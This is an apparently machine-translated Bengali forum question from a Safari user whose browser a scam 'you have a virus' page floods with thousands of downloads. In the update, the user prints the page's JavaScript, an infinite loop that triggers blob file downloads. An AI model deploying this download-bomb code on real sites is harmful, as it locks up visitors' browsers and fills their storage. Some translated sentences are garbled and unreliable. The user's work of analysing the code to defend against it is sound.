পটভূমি
অনেকগুলি "প্রশ্নবিদ্ধ" সাইটগুলিতে (সিনেমার সাইটগুলি ইত্যাদি) জুড়ে একটি নতুন স্প্যাম পৃষ্ঠা প্রদর্শিত শুরু হয়েছে। এই নতুন স্প্যাম পৃষ্ঠাটি নকল স্ক্যান, ম্যাককিপার, "আপনি একটি ভাইরাস আছে" ইত্যাদি বিভাগে ফিট করে।
সমস্যা
এই নতুন পৃষ্ঠায় সমস্যাটি হ'ল কেবল পপআপের পরিবর্তে পৃষ্ঠাটি প্রতিটি ~ 1 এমএসে বারবার একটি এলোমেলো 2kb (ক্ষতিকারক নয় কেবল এলোমেলো পাঠ্য ধারণ করে) ফাইল ডাউনলোড শুরু করে। উইন্ডোটি বন্ধ করার আগে ডাউনলোড ফোল্ডারটি পূর্ণ হয়ে যায় এবং আপনার 1000+ ফাইল মুছে ফেলা হবে। বিপরীতে, একই পৃষ্ঠায় একটি পৃষ্ঠা স্প্যাম মুদ্রণ ডায়ালগটি নিয়ে আসে, প্রতিক্রিয়া জানাতে খুব কম সময় থাকে।
সমস্যা সমাধানের চেষ্টা ব্যর্থ
আমি ডাউনলোড ফোল্ডারটি লক করার চেষ্টা করেছি। এটি ডাউনলোডগুলি ... ভাল ... এটি ডাউনলোড করা থেকে বিরত থাকাকালীন একটি ডায়ালগ বক্স (চিত্র দেখুন) আসে। সাধারণত, আমি এই ডায়লগ বাক্সটি কেবল খারিজ করতে পারতাম, তবে যেহেতু ডাউনলোডটি প্রতি ms 1 মাইল চেষ্টা করা হয়, তাই আমি উইন্ডোটি বন্ধ করতে বাধা দিয়ে প্রতিবার বরখাস্ত করার চেষ্টা করার সময় আমি একটি নতুন ডায়ালগ পপ আপ করি।
সাফারি ছাড়তে বাধ্য করুন, যা ডাউনলোড বন্ধ করে দেয় (1 ক ডাউনলোডের পরে) তবে তারপরে আমি আমার সমস্ত উইন্ডো আলগা করি
সাফারি পছন্দগুলিতে 'প্রতিটি ডাউনলোডের জন্য জিজ্ঞাসা করুন' এ সেটিংস পরিবর্তন করা। কাজ করে না কারণ 1 কে আলাদা আলাদা ডায়ালগ বাক্স খোলা আমাকে ট্যাবটি বন্ধ করতে এমনকি আটকাচ্ছে। শেষ পর্যন্ত সাফারি ক্র্যাশ করে।
প্রশ্ন
আমি কীভাবে সাফারিতে স্প্যাম ডাউনলোডগুলি রোধ করতে পারি?
হালনাগাদ:
ডাউনলোডের কারণ কোডটি হেরেস (জাভাস্ক্রিপ্ট অক্ষম করে এবং কোডের মাধ্যমে ম্যানুয়ালি দেখে এটি পেয়েছে):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
দ্রষ্টব্য: কাস্টম পৃষ্ঠায় জেএস চালাতে আমার কিছু সমস্যা হয়েছিল। এটি ডাউনলোডের পরিবর্তে হিমশীতল। আমি একটি setInterval()
ফাংশন কল করে একটি ফাংশন ব্যবহার করে ডাউনলোড অনুকরণ করতে সক্ষম হয়েছি download
।